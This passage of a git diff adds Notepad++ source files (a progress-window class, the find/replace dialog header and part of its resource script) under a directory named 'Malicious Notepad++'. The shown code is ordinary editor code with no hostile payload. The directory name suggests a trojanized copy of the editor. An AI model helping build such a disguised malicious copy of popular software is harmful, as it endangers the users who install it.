Progress::cDefaultHeader[] = TEXT("Operation progress..."); +const int Progress::cBackgroundColor = COLOR_3DFACE; +const int Progress::cPBwidth = 600; +const int Progress::cPBheight = 10; +const int Progress::cBTNwidth = 80; +const int Progress::cBTNheight = 25; + + +volatile LONG Progress::refCount = 0; + + +Progress::Progress(HINSTANCE hInst) : _hwnd(NULL), _hCallerWnd(NULL) +{ + if (::InterlockedIncrement(&refCount) == 1) + { + _hInst = hInst; + + WNDCLASSEX wcex = {0}; + wcex.cbSize = sizeof(wcex); + wcex.style = CS_HREDRAW | CS_VREDRAW; + wcex.lpfnWndProc = wndProc; + wcex.hInstance = _hInst; + wcex.hCursor = ::LoadCursor(NULL, IDC_ARROW); + wcex.hbrBackground = ::GetSysColorBrush(cBackgroundColor); + wcex.lpszClassName = cClassName; + + ::RegisterClassEx(&wcex); + + INITCOMMONCONTROLSEX icex = {0}; + icex.dwSize = sizeof(icex); + icex.dwICC = ICC_STANDARD_CLASSES | ICC_PROGRESS_CLASS; + + ::InitCommonControlsEx(&icex); + } +} + + +Progress::~Progress() +{ + close(); + + if (::InterlockedDecrement(&refCount) == 0) + ::UnregisterClass(cClassName, _hInst); +} + + +HWND Progress::open(HWND hCallerWnd, const TCHAR* header) +{ + if (_hwnd) + return _hwnd; + + // Create manually reset non-signalled event + _hActiveState = ::CreateEvent(NULL, TRUE, FALSE, NULL); + if (!_hActiveState) + return NULL; + + _hCallerWnd = hCallerWnd; + + for (HWND hwnd = _hCallerWnd; hwnd; hwnd = ::GetParent(hwnd)) + ::UpdateWindow(hwnd); + + if (header) + _tcscpy_s(_header, _countof(_header), header); + else + _tcscpy_s(_header, _countof(_header), cDefaultHeader); + + _hThread = ::CreateThread(NULL, 0, threadFunc, this, 0, NULL); + if (!_hThread) + { + ::CloseHandle(_hActiveState); + return NULL; + } + + // Wait for the progress window to be created + ::WaitForSingleObject(_hActiveState, INFINITE); + + // On progress window create fail + if (!_hwnd) + { + ::WaitForSingleObject(_hThread, INFINITE); + ::CloseHandle(_hThread); + ::CloseHandle(_hActiveState); + } + + return _hwnd; +} + + +void Progress::close() +{ + if (_hwnd) + { + ::PostMessage(_hwnd, WM_CLOSE, 0, 0); + _hwnd = NULL; + ::WaitForSingleObject(_hThread, INFINITE); + + ::CloseHandle(_hThread); + ::CloseHandle(_hActiveState); + } +} + + +void Progress::setPercent(unsigned percent, const TCHAR *fileName) const +{ + if (_hwnd) + { + ::PostMessage(_hPBar, PBM_SETPOS, percent, 0); + ::SendMessage(_hPText, WM_SETTEXT, 0, reinterpret_cast(fileName)); + } +} + + +DWORD WINAPI Progress::threadFunc(LPVOID data) +{ + Progress* pw = static_cast(data); + return (DWORD)pw->thread(); +} + + +int Progress::thread() +{ + BOOL r = createProgressWindow(); + ::SetEvent(_hActiveState); + if (r) + return r; + + // Window message loop + MSG msg; + while ((r = ::GetMessage(&msg, NULL, 0, 0)) != 0 && r != -1) + { + ::TranslateMessage(&msg); + ::DispatchMessage(&msg); + } + + return r; +} + + +int Progress::createProgressWindow() +{ + _hwnd = ::CreateWindowEx( + WS_EX_APPWINDOW | WS_EX_TOOLWINDOW | WS_EX_OVERLAPPEDWINDOW, + cClassName, _header, WS_POPUP | WS_CAPTION, + CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, + NULL, NULL, _hInst, (LPVOID)this); + if (!_hwnd) + return -1; + + int width = cPBwidth + 10; + int height = cPBheight + cBTNheight + 35; + RECT win = adjustSizeAndPos(width, height); + ::MoveWindow(_hwnd, win.left, win.top, + win.right - win.left, win.bottom - win.top, TRUE); + + ::GetClientRect(_hwnd, &win); + width = win.right - win.left; + height = win.bottom - win.top; + + _hPText = ::CreateWindowEx(0, TEXT("STATIC"), TEXT(""), + WS_CHILD | WS_VISIBLE | BS_TEXT | SS_PATHELLIPSIS, + 5, 5, + width - 10, 20, _hwnd, NULL, _hInst, NULL); + HFONT hf = (HFONT)::GetStockObject(DEFAULT_GUI_FONT); + if (hf) + ::SendMessage(_hPText, WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + + _hPBar = ::CreateWindowEx(0, PROGRESS_CLASS, TEXT("Progress Bar"), + WS_CHILD | WS_VISIBLE | PBS_SMOOTH, + 5, 25, width - 10, cPBheight, + _hwnd, NULL, _hInst, NULL); + SendMessage(_hPBar, PBM_SETRANGE, 0, MAKELPARAM(0, 100)); + + _hBtn = ::CreateWindowEx(0, TEXT("BUTTON"), TEXT("Cancel"), + WS_CHILD | WS_VISIBLE | BS_DEFPUSHBUTTON | BS_TEXT, + (width - cBTNwidth) / 2, height - cBTNheight - 5, + cBTNwidth, cBTNheight, _hwnd, NULL, _hInst, NULL); + + if (hf) + ::SendMessage(_hBtn, WM_SETFONT, reinterpret_cast(hf), MAKELPARAM(TRUE, 0)); + + ::ShowWindow(_hwnd, SW_SHOWNORMAL); + ::UpdateWindow(_hwnd); + + return 0; +} + + +RECT Progress::adjustSizeAndPos(int width, int height) +{ + RECT maxWin; + maxWin.left = ::GetSystemMetrics(SM_XVIRTUALSCREEN); + maxWin.top = ::GetSystemMetrics(SM_YVIRTUALSCREEN); + maxWin.right = ::GetSystemMetrics(SM_CXVIRTUALSCREEN) + maxWin.left; + maxWin.bottom = ::GetSystemMetrics(SM_CYVIRTUALSCREEN) + maxWin.top; + + POINT center; + + if (_hCallerWnd) + { + RECT biasWin; + ::GetWindowRect(_hCallerWnd, &biasWin); + center.x = (biasWin.left + biasWin.right) / 2; + center.y = (biasWin.top + biasWin.bottom) / 2; + } + else + { + center.x = (maxWin.left + maxWin.right) / 2; + center.y = (maxWin.top + maxWin.bottom) / 2; + } + + RECT win = maxWin; + win.right = win.left + width; + win.bottom = win.top + height; + + DWORD style = static_cast(::GetWindowLongPtr(_hwnd, GWL_EXSTYLE)); + ::AdjustWindowRectEx(&win, static_cast(::GetWindowLongPtr(_hwnd, GWL_STYLE)), FALSE, style); + + width = win.right - win.left; + height = win.bottom - win.top; + + if (width < maxWin.right - maxWin.left) + { + win.left = center.x - width / 2; + if (win.left < maxWin.left) + win.left = maxWin.left; + win.right = win.left + width; + if (win.right > maxWin.right) + { + win.right = maxWin.right; + win.left = win.right - width; + } + } + else + { + win.left = maxWin.left; + win.right = maxWin.right; + } + + if (height < maxWin.bottom - maxWin.top) + { + win.top = center.y - height / 2; + if (win.top < maxWin.top) + win.top = maxWin.top; + win.bottom = win.top + height; + if (win.bottom > maxWin.bottom) + { + win.bottom = maxWin.bottom; + win.top = win.bottom - height; + } + } + else + { + win.top = maxWin.top; + win.bottom = maxWin.bottom; + } + + return win; +} + + +LRESULT APIENTRY Progress::wndProc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam) +{ + switch (umsg) + { + case WM_CREATE: + { + Progress* pw = reinterpret_cast(reinterpret_cast(lparam)->lpCreateParams); + ::SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast(pw)); + return 0; + } + + case WM_SETFOCUS: + { + Progress* pw = reinterpret_cast(static_cast + (::GetWindowLongPtr(hwnd, GWLP_USERDATA))); + ::SetFocus(pw->_hBtn); + return 0; + } + + case WM_COMMAND: + if (HIWORD(wparam) == BN_CLICKED) + { + Progress* pw = reinterpret_cast(static_cast(::GetWindowLongPtr(hwnd, GWLP_USERDATA))); + ::ResetEvent(pw->_hActiveState); + ::EnableWindow(pw->_hBtn, FALSE); + pw->setInfo(TEXT("Cancelling operation, please wait...")); + return 0; + } + break; + + case WM_DESTROY: + ::PostQuitMessage(0); + return 0; + } + + return ::DefWindowProc(hwnd, umsg, wparam, lparam); +} diff --git a/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.h b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.h new file mode 100644 index 0000000..3e6eb1c --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.h @@ -0,0 +1,501 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#pragma once + +#include "FindReplaceDlg_rc.h" +#include "ScintillaEditView.h" +#include "DockingDlgInterface.h" +#include "BoostRegexSearch.h" +#include "StatusBar.h" + +#define FIND_RECURSIVE 1 +#define FIND_INHIDDENDIR 2 + +#define FINDREPLACE_MAXLENGTH 2048 + +enum DIALOG_TYPE {FIND_DLG, REPLACE_DLG, FINDINFILES_DLG, MARK_DLG}; + +#define DIR_DOWN true +#define DIR_UP false + +//#define FIND_REPLACE_STR_MAX 256 + +enum InWhat{ALL_OPEN_DOCS, FILES_IN_DIR, CURRENT_DOC}; + +struct FoundInfo { + FoundInfo(int start, int end, size_t lineNumber, const TCHAR *fullPath) + : _start(start), _end(end), _lineNumber(lineNumber), _fullPath(fullPath) {}; + int _start; + int _end; + size_t _lineNumber; + generic_string _fullPath; +}; + +struct TargetRange { + int targetStart; + int targetEnd; +}; + +enum SearchIncrementalType { NotIncremental, FirstIncremental, NextIncremental }; +enum SearchType { FindNormal, FindExtended, FindRegex }; +enum ProcessOperation { ProcessFindAll, ProcessReplaceAll, ProcessCountAll, ProcessMarkAll, ProcessMarkAll_2, ProcessMarkAll_IncSearch, ProcessMarkAllExt, ProcessFindInFinder }; + +struct FindOption +{ + bool _isWholeWord = true; + bool _isMatchCase = true; + bool _isWrapAround = true; + bool _whichDirection = DIR_DOWN; + SearchIncrementalType _incrementalType = NotIncremental; + SearchType _searchType = FindNormal; + bool _doPurge = false; + bool _doMarkLine = false; + bool _isInSelection = false; + generic_string _str2Search; + generic_string _str4Replace; + generic_string _filters; + generic_string _directory; + bool _isRecursive = true; + bool _isInHiddenDir = false; + bool _dotMatchesNewline = false; + bool _isMatchLineNumber = true; // only for Find in Folder +}; + +//This class contains generic search functions as static functions for easy access +class Searching { +public: + static int convertExtendedToString(const TCHAR * query, TCHAR * result, int length); + static TargetRange t; + static int buildSearchFlags(const FindOption * option) { + return (option->_isWholeWord ? SCFIND_WHOLEWORD : 0) | + (option->_isMatchCase ? SCFIND_MATCHCASE : 0) | + (option->_searchType == FindRegex ? SCFIND_REGEXP|SCFIND_POSIX : 0) | + ((option->_searchType == FindRegex && option->_dotMatchesNewline) ? SCFIND_REGEXP_DOTMATCHESNL : 0); + }; + static void displaySectionCentered(int posStart, int posEnd, ScintillaEditView * pEditView, bool isDownwards = true); + +private: + static bool readBase(const TCHAR * str, int * value, int base, int size); + +}; + +//Finder: Dockable window that contains search results +class Finder : public DockingDlgInterface { +friend class FindReplaceDlg; +public: + Finder() : DockingDlgInterface(IDD_FINDRESULT) { + _markingsStruct._length = 0; + _markingsStruct._markings = NULL; + }; + + ~Finder() { + _scintView.destroy(); + } + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + DockingDlgInterface::init(hInst, hPere); + _ppEditView = ppEditView; + }; + + void addSearchLine(const TCHAR *searchName); + void addFileNameTitle(const TCHAR * fileName); + void addFileHitCount(int count); + void addSearchHitCount(int count, bool isMatchLines = false); + void add(FoundInfo fi, SearchResultMarking mi, const TCHAR* foundline); + void setFinderStyle(); + void removeAll(); + void openAll(); + void copy(); + void beginNewFilesSearch(); + void finishFilesSearch(int count, bool isMatchLines = false); + void gotoNextFoundResult(int direction); + void gotoFoundLine(); + void deleteResult(); + std::vector getResultFilePaths() const; + bool canFind(const TCHAR *fileName, size_t lineNumber) const; + void setVolatiled(bool val) { _canBeVolatiled = val; }; + +protected : + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + bool notify(SCNotification *notification); + +private: + + enum { searchHeaderLevel = SC_FOLDLEVELBASE + 1, fileHeaderLevel, resultLevel }; + + ScintillaEditView **_ppEditView = nullptr; + std::vector _foundInfos1; + std::vector _foundInfos2; + std::vector* _pMainFoundInfos = &_foundInfos1; + std::vector _markings1; + std::vector _markings2; + std::vector* _pMainMarkings = &_markings1; + SearchResultMarkings _markingsStruct; + + ScintillaEditView _scintView; + unsigned int _nbFoundFiles = 0; + + int _lastFileHeaderPos = 0; + int _lastSearchHeaderPos = 0; + + bool _canBeVolatiled = true; + + + void setFinderReadOnly(bool isReadOnly) { + _scintView.execute(SCI_SETREADONLY, isReadOnly); + }; + + bool isLineActualSearchResult(const generic_string & s) const; + generic_string & prepareStringForClipboard(generic_string & s) const; + + static FoundInfo EmptyFoundInfo; + static SearchResultMarking EmptySearchResultMarking; +}; + + +enum FindStatus { FSFound, FSNotFound, FSTopReached, FSEndReached, FSMessage, FSNoMessage}; + +enum FindNextType { + FINDNEXTTYPE_FINDNEXT, + FINDNEXTTYPE_REPLACENEXT, + FINDNEXTTYPE_FINDNEXTFORREPLACE +}; + +struct FindReplaceInfo +{ + const TCHAR *_txt2find = nullptr; + const TCHAR *_txt2replace = nullptr; + int _startRange = -1; + int _endRange = -1; +}; + +struct FindersInfo +{ + Finder *_pSourceFinder = nullptr; + Finder *_pDestFinder = nullptr; + const TCHAR *_pFileName = nullptr; + + FindOption _findOption; +}; + +class FindInFinderDlg : public StaticDialog +{ +public: + void init(HINSTANCE hInst, HWND hPere) { + Window::init(hInst, hPere); + }; + void doDialog(Finder *launcher, bool isRTL = false); + FindOption & getOption() { return _options; } + +private: + Finder *_pFinder2Search = nullptr; + FindOption _options; + + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void initFromOptions(); + void writeOptions(); +}; + +class FindReplaceDlg : public StaticDialog +{ +friend class FindIncrementDlg; +public : + static FindOption _options; + static FindOption* _env; + FindReplaceDlg() : StaticDialog(), _pFinder(NULL), _isRTL(false),\ + _fileNameLenMax(1024) { + _uniFileName = new char[(_fileNameLenMax + 3) * 2]; + _winVer = (NppParameters::getInstance())->getWinVersion(); + _env = &_options; + }; + ~FindReplaceDlg(); + + void init(HINSTANCE hInst, HWND hPere, ScintillaEditView **ppEditView) { + Window::init(hInst, hPere); + if (!ppEditView) + throw std::runtime_error("FindIncrementDlg::init : ppEditView is null."); + _ppEditView = ppEditView; + }; + + virtual void create(int dialogID, bool isRTL = false, bool msgDestParent = true); + + void initOptionsFromDlg(); + + void doDialog(DIALOG_TYPE whichType, bool isRTL = false, bool toShow = true); + bool processFindNext(const TCHAR *txt2find, const FindOption *options = NULL, FindStatus *oFindStatus = NULL, FindNextType findNextType = FINDNEXTTYPE_FINDNEXT); + bool processReplace(const TCHAR *txt2find, const TCHAR *txt2replace, const FindOption *options = NULL); + + int markAll(const TCHAR *txt2find, int styleID, bool isWholeWordSelected); + int markAllInc(const FindOption *opt); + + + int processAll(ProcessOperation op, const FindOption *opt, bool isEntire = false, const FindersInfo *pFindersInfo = nullptr, int colourStyleID = -1); + int processRange(ProcessOperation op, FindReplaceInfo & findReplaceInfo, const FindersInfo *pFindersInfo, const FindOption *opt = nullptr, int colourStyleID = -1, ScintillaEditView *view2Process = nullptr); + + void replaceAllInOpenedDocs(); + void findAllIn(InWhat op); + void setSearchText(TCHAR * txt2find); + + void gotoNextFoundResult(int direction = 0) {if (_pFinder) _pFinder->gotoNextFoundResult(direction);}; + + void putFindResult(int result) { + _findAllResult = result; + }; + const TCHAR * getDir2Search() const {return _env->_directory.c_str();}; + + void getPatterns(std::vector & patternVect); + + void launchFindInFilesDlg() { + doDialog(FINDINFILES_DLG); + }; + + void setFindInFilesDirFilter(const TCHAR *dir, const TCHAR *filters); + + generic_string getText2search() const { + return _env->_str2Search; + }; + + const generic_string & getFilters() const {return _env->_filters;}; + const generic_string & getDirectory() const {return _env->_directory;}; + const FindOption & getCurrentOptions() const {return *_env;}; + bool isRecursive() const { return _env->_isRecursive; }; + bool isInHiddenDir() const { return _env->_isInHiddenDir; }; + void saveFindHistory(); + void changeTabName(DIALOG_TYPE index, const TCHAR *name2change) { + TCITEM tie; + tie.mask = TCIF_TEXT; + tie.pszText = (TCHAR *)name2change; + TabCtrl_SetItem(_tab.getHSelf(), index, &tie); + + TCHAR label[MAX_PATH]; + _tab.getCurrentTitle(label, MAX_PATH); + ::SetWindowText(_hSelf, label); + } + void beginNewFilesSearch() + { + _pFinder->beginNewFilesSearch(); + _pFinder->addSearchLine(getText2search().c_str()); + } + + void finishFilesSearch(int count) + { + _pFinder->finishFilesSearch(count); + } + + void focusOnFinder() { + // Show finder and set focus + if (_pFinder) + { + ::SendMessage(_hParent, NPPM_DMMSHOW, 0, reinterpret_cast(_pFinder->getHSelf())); + _pFinder->_scintView.getFocus(); + } + }; + + HWND getHFindResults() { + if (_pFinder) + return _pFinder->_scintView.getHSelf(); + return NULL; + } + + void updateFinderScintilla() { + if (_pFinder && _pFinder->isCreated() && _pFinder->isVisible()) + { + _pFinder->setFinderStyle(); + } + }; + + void execSavedCommand(int cmd, uptr_t intValue, generic_string stringValue); + void setStatusbarMessage(const generic_string & msg, FindStatus staus); + Finder * createFinder(); + bool removeFinder(Finder *finder2remove); + +protected : + void resizeDialogElements(LONG newWidth); + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + static LONG_PTR originalFinderProc; + + // Window procedure for the finder + static LRESULT FAR PASCAL finderProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam); + + void combo2ExtendedMode(int comboID); + +private : + RECT _initialWindowRect; + LONG _deltaWidth; + LONG _initialClientWidth; + + DIALOG_TYPE _currentStatus; + RECT _findClosePos, _replaceClosePos, _findInFilesClosePos; + + ScintillaEditView **_ppEditView; + Finder *_pFinder; + + std::vector _findersOfFinder; + + HWND _shiftTrickUpTip = nullptr; + + + bool _isRTL; + + int _findAllResult; + TCHAR _findAllResultStr[1024]; + + int _fileNameLenMax; + char *_uniFileName; + + TabBar _tab; + winVer _winVer; + StatusBar _statusBar; + FindStatus _statusbarFindStatus; + + + + void enableReplaceFunc(bool isEnable); + void enableFindInFilesControls(bool isEnable = true); + void enableFindInFilesFunc(); + void enableMarkAllControls(bool isEnable); + void enableMarkFunc(); + + void setDefaultButton(int nID) { + SendMessage(_hSelf, DM_SETDEFID, nID, 0L); + }; + + void gotoCorrectTab() { + auto currentIndex = _tab.getCurrentTabIndex(); + if (currentIndex != _currentStatus) + _tab.activateAt(_currentStatus); + }; + + FindStatus getFindStatus() { + return this->_statusbarFindStatus; + } + + void updateCombos(); + void updateCombo(int comboID); + void fillFindHistory(); + void fillComboHistory(int id, const std::vector & strings); + int saveComboHistory(int id, int maxcount, std::vector & strings, bool saveEmpty); + static const int FR_OP_FIND = 1; + static const int FR_OP_REPLACE = 2; + static const int FR_OP_FIF = 4; + static const int FR_OP_GLOBAL = 8; + void saveInMacro(size_t cmd, int cmdType); + void drawItem(LPDRAWITEMSTRUCT lpDrawItemStruct); + +}; + +//FindIncrementDlg: incremental search dialog, docked in rebar +class FindIncrementDlg : public StaticDialog +{ +public : + FindIncrementDlg() {}; + void init(HINSTANCE hInst, HWND hPere, FindReplaceDlg *pFRDlg, bool isRTL = false); + virtual void destroy(); + virtual void display(bool toShow = true) const; + + void setSearchText(const TCHAR * txt2find, bool) { + ::SendDlgItemMessage(_hSelf, IDC_INCFINDTEXT, WM_SETTEXT, 0, reinterpret_cast(txt2find)); + }; + + void setFindStatus(FindStatus iStatus, int nbCounted); + + FindStatus getFindStatus() { + return _findStatus; + } + + void addToRebar(ReBar * rebar); +private : + bool _isRTL = false; + FindReplaceDlg *_pFRDlg = nullptr; + FindStatus _findStatus = FSFound; + + ReBar * _pRebar = nullptr; + REBARBANDINFO _rbBand; + + virtual INT_PTR CALLBACK run_dlgProc(UINT message, WPARAM wParam, LPARAM lParam); + void markSelectedTextInc(bool enable, FindOption *opt = NULL); +}; + + +class Progress +{ +public: + explicit Progress(HINSTANCE hInst); + ~Progress(); + + HWND open(HWND hCallerWnd = NULL, const TCHAR* header = NULL); + void close(); + + bool isCancelled() const + { + if (_hwnd) + return (::WaitForSingleObject(_hActiveState, 0) != WAIT_OBJECT_0); + return false; + } + + void setInfo(const TCHAR *info) const + { + if (_hwnd) + ::SendMessage(_hPText, WM_SETTEXT, 0, reinterpret_cast(info)); + } + + void setPercent(unsigned percent, const TCHAR *fileName) const; + +private: + static const TCHAR cClassName[]; + static const TCHAR cDefaultHeader[]; + static const int cBackgroundColor; + static const int cPBwidth; + static const int cPBheight; + static const int cBTNwidth; + static const int cBTNheight; + + static volatile LONG refCount; + + static DWORD WINAPI threadFunc(LPVOID data); + static LRESULT APIENTRY wndProc(HWND hwnd, UINT umsg, WPARAM wparam, LPARAM lparam); + + // Disable copy construction and operator= + Progress(const Progress&); + const Progress& operator=(const Progress&); + + int thread(); + int createProgressWindow(); + RECT adjustSizeAndPos(int width, int height); + + HINSTANCE _hInst; + volatile HWND _hwnd; + HWND _hCallerWnd; + TCHAR _header[128]; + HANDLE _hThread; + HANDLE _hActiveState; + HWND _hPText; + HWND _hPBar; + HWND _hBtn; +}; + diff --git a/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.rc b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.rc new file mode 100644 index 0000000..f8f1f00 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/FindReplaceDlg.rc @@ -0,0 +1,134 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef FIND_REPLACE_DLG_RC +#define FIND_REPLACE_DLG_RC +#include +#include "FindReplaceDlg_rc.h" + +IDD_FIND_REPLACE_DLG DIALOGEX 36, 44, 367, 200 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU | WS_THICKFRAME +EXSTYLE WS_EX_TOOLWINDOW +CAPTION "Replace" +FONT 8, "MS Shell Dlg", 0, 0, 0x0 +BEGIN + RTEXT "&Find what :",IDFINDWHAT_STATIC,6,22,75,8 + COMBOBOX IDFINDWHAT,83,20,178,150,CBS_DROPDOWN | CBS_AUTOHSCROLL | WS_TABSTOP + RTEXT "Rep&lace with :",ID_STATICTEXT_REPLACE,6,40,75,8 + COMBOBOX IDREPLACEWITH,83,38,178,50,CBS_DROPDOWN | CBS_AUTOHSCROLL | WS_TABSTOP + RTEXT "Filter&s :",IDD_FINDINFILES_FILTERS_STATIC,27,58,53,8 + COMBOBOX IDD_FINDINFILES_FILTERS_COMBO,83,56,178,150,CBS_DROPDOWN | CBS_AUTOHSCROLL | WS_TABSTOP + RTEXT "Dir&ectory :",IDD_FINDINFILES_DIR_STATIC,7,76,40,8 + COMBOBOX IDD_FINDINFILES_DIR_COMBO,49,74,190,150,CBS_DROPDOWN | CBS_AUTOHSCROLL | WS_TABSTOP + PUSHBUTTON "...",IDD_FINDINFILES_BROWSE_BUTTON,245,74,15,13 + CONTROL "Follow current doc.",IDD_FINDINFILES_FOLDERFOLLOWSDOC_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,270,73,94,15 + CONTROL "In all su&b-folders",IDD_FINDINFILES_RECURSIVE_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,270,87,94,15 + CONTROL "In &hidden folders",IDD_FINDINFILES_INHIDDENDIR_CHECK, + "Button",BS_AUTOCHECKBOX | WS_TABSTOP,270,101,94,15 + CONTROL "Book&mark line",IDC_MARKLINE_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,12,52,100,15 + CONTROL "Purge for each search",IDC_PURGE_CHECK,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,12,66,99,16 + PUSHBUTTON "Mark All",IDCMARKALL,268,20,90,14 + GROUPBOX "",IDC_REPLACEINSELECTION,192,50,170,23 + CONTROL "In select&ion",IDC_IN_SELECTION_CHECK,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,200,58,59,10 + PUSHBUTTON "Clear all marks",IDC_CLEAR_ALL,268,38,90,14 + CONTROL "Backward direction", IDC_BACKWARDDIRECTION, "Button", BS_AUTOCHECKBOX | WS_TABSTOP, 12, 76, 140, 15 + CONTROL "Match &whole word only",IDWHOLEWORD,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,12,88,140,15 + CONTROL "Match &case",IDMATCHCASE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,12,100,140,15 + CONTROL "Wra&p around",IDWRAP,"Button",BS_AUTOCHECKBOX | BS_MULTILINE | WS_TABSTOP,12,112,110,15 + GROUPBOX "Search Mode",IDC_MODE_STATIC,6,131,159,48 + CONTROL "&Normal",IDNORMAL,"Button",BS_AUTORADIOBUTTON | WS_GROUP,12,143,126,10 + CONTROL "E&xtended (\\n, \\r, \\t, \\0, \\x...)",IDEXTENDED, + "Button",BS_AUTORADIOBUTTON,12,155,145,10 + CONTROL "Re&gular expression",IDREGEXP,"Button",BS_AUTORADIOBUTTON,12,167,78,10 + CONTROL "&. matches newline",IDREDOTMATCHNL,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,93,167,68,9 + PUSHBUTTON "Find Next",IDOK,268,20,90,14,WS_GROUP + PUSHBUTTON "Coun&t",IDCCOUNTALL,268,38,90,14 + PUSHBUTTON "Find All in All &Opened Documents",IDC_FINDALL_OPENEDFILES,268,56,90,21,BS_MULTILINE + PUSHBUTTON "Find All in Current Document",IDC_FINDALL_CURRENTFILE,268,80,90,21,BS_MULTILINE + PUSHBUTTON "&Replace",IDREPLACE,268,38,90,14 + PUSHBUTTON "Replace &All",IDREPLACEALL,268,56,90,14 + PUSHBUTTON "Replace All in All &Opened Documents",IDC_REPLACE_OPENEDFILES,268,74,90,21,BS_MULTILINE + PUSHBUTTON "Find All",IDD_FINDINFILES_FIND_BUTTON,268,20,90,14,WS_GROUP + PUSHBUTTON "&Replace in Files",IDD_FINDINFILES_REPLACEINFILES,268,38,90,14 + PUSHBUTTON "Close",IDCANCEL,268,98,90,14 + GROUPBOX "",IDC_TRANSPARENT_GRPBOX,258,131,99,48 + CONTROL "Transparenc&y",IDC_TRANSPARENT_CHECK,"Button",BS_AUTOCHECKBOX | NOT WS_VISIBLE | WS_TABSTOP,254,131,80,10 + CONTROL "On losing focus",IDC_TRANSPARENT_LOSSFOCUS_RADIO,"Button",BS_AUTORADIOBUTTON | WS_GROUP | WS_TABSTOP,268,143,85,10 + CONTROL "Always",IDC_TRANSPARENT_ALWAYS_RADIO,"Button",BS_AUTORADIOBUTTON ,268,155,85,10 + CONTROL "",IDC_PERCENTAGE_SLIDER,"msctls_trackbar32",TBS_BOTH | TBS_NOTICKS | NOT WS_VISIBLE | WS_TABSTOP,265,166,85,10 +END + +IDB_INCREMENTAL_BG BITMAP "../icons/incrementalBg.bmp" + +IDD_INCREMENT_FIND DIALOGEX 0, 0, 400, 20 +STYLE DS_SYSMODAL | DS_CONTROL | DS_FIXEDSYS | WS_CHILD | WS_CLIPCHILDREN +FONT 8, TEXT("MS Shell Dlg") +BEGIN + PUSHBUTTON "X",IDCANCEL,2,3,16,14 + RTEXT "Find :",IDC_INCSTATIC,20,6,25,12 + EDITTEXT IDC_INCFINDTEXT,45,6,175,10,ES_AUTOHSCROLL | ES_WANTRETURN | NOT WS_BORDER | WS_TABSTOP, WS_EX_STATICEDGE + PUSHBUTTON "<",IDC_INCFINDPREVOK | WS_TABSTOP,223,3,16,14 + PUSHBUTTON ">",IDC_INCFINDNXTOK | WS_TABSTOP,243,3,16,14 + CONTROL "&Highlight all", IDC_INCFINDHILITEALL,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,270,5,65,12 + CONTROL "Match &case", IDC_INCFINDMATCHCASE,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,335,5,60,12 + LTEXT "",IDC_INCFINDSTATUS,400,6,180,12 +END + +IDD_FINDRESULT DIALOGEX 26, 41, 223, 67 +STYLE DS_SETFONT | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +EXSTYLE WS_EX_TOOLWINDOW | WS_EX_WINDOWEDGE +CAPTION "Find result" +FONT 8, TEXT("MS Shell Dlg"), 0, 0, 0x0 +BEGIN +DEFPUSHBUTTON ">",IDC_INCFINDNXTOK,243,0,16,14, NOT WS_VISIBLE +END + +IDD_FINDINFINDER_DLG DIALOGEX 36, 44, 367, 200 +STYLE DS_SETFONT | 